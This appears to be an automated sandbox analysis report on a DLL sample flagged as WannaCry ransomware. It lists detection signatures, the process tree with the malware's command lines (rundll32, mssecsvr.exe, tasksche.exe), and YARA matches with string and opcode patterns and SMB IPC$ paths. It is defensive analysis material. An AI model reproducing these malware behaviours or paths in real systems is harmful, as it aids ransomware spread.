Edit tour

Windows Analysis Report
dKkvbrzdUL

Overview

General Information

Sample Name:	dKkvbrzdUL (renamed file extension from none to dll)
Analysis ID:	669568
MD5:	e2e41a9bbc44241fe4b97e18507eb390
SHA1:	0b02083e88094e95d12501c29c86595d2a03f3af
SHA256:	a3286e734efc4db2d17f6c0b838fcfdbb6ceefa724d4a0495ef01443e6a6d2d1
Tags:	dllOpenCTIBRSandboxed
Infos:

Detection

Wannacry

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Wannacry ransomware

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Machine Learning detection for sample

Connects to many IPs within the same subnet mask (likely port scanning)

Connects to many different private IPs (likely to spread or exploit)

Machine Learning detection for dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Connects to many different private IPs via SMB (likely to spread or exploit)

Uses 32bit PE files

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

PE file contains executable resources (Code or Archives)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

PE file does not import any functions

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

File is packed with WinRar

Connects to several IPs in different countries

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Dropped file seen in connection with other malware

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 6820 cmdline: loaddll32.exe "C:\Users\user\Desktop\dKkvbrzdUL.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)

cmd.exe (PID: 6828 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\dKkvbrzdUL.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 6848 cmdline: rundll32.exe "C:\Users\user\Desktop\dKkvbrzdUL.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

mssecsvr.exe (PID: 6876 cmdline: C:\WINDOWS\mssecsvr.exe MD5: 62697F6EFBC9AF4B561F028D8A259B4B)

tasksche.exe (PID: 7032 cmdline: C:\WINDOWS\tasksche.exe /i MD5: ADF1AD99D22225A33E63070C8F4FCC77)

rundll32.exe (PID: 6836 cmdline: rundll32.exe C:\Users\user\Desktop\dKkvbrzdUL.dll,PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6904 cmdline: rundll32.exe "C:\Users\user\Desktop\dKkvbrzdUL.dll",PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

mssecsvr.exe (PID: 6916 cmdline: C:\WINDOWS\mssecsvr.exe MD5: 62697F6EFBC9AF4B561F028D8A259B4B)

mssecsvr.exe (PID: 6964 cmdline: C:\WINDOWS\mssecsvr.exe -m security MD5: 62697F6EFBC9AF4B561F028D8A259B4B)

svchost.exe (PID: 5108 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 8252 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 8652 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 11124 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 13008 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
dKkvbrzdUL.dll	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x353d0:$x3: tasksche.exe 0x353a8:$x8: C:\%s\qeriuwjhrf 0x3014:$s1: C:\%s\%s 0x12098:$s1: C:\%s\%s 0x1b39c:$s1: C:\%s\%s 0x353bc:$s1: C:\%s\%s 0x326f0:$s5: \\192.168.56.20\IPC$ 0x1fae5:$s6: \\172.16.99.5\IPC$ 0xd195:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x78da:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x5449:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
dKkvbrzdUL.dll	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\mssecsvr.exe	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0xe034:$s1: C:\%s\%s 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
C:\Windows\mssecsvr.exe	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
C:\Windows\mssecsvr.exe	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000000.382422344.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000002.393019567.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000004.00000000.383496328.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000004.00000000.379948555.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.386950574.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000007.00000000.387224281.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000004.00000002.391199792.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000004.00000000.381375838.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000007.00000002.991108405.000000000042E000.00000004.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.385160668.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.387992638.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.389527368.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: mssecsvr.exe PID: 6876	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: mssecsvr.exe PID: 6916	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: mssecsvr.exe PID: 6964	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
7.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
7.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
7.2.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
7.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
7.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
7.0.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvr.exe.400000.4.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvr.exe.400000.2.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvr.exe.400000.6.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.0.mssecsvr.exe.400000.4.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvr.exe.400000.6.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
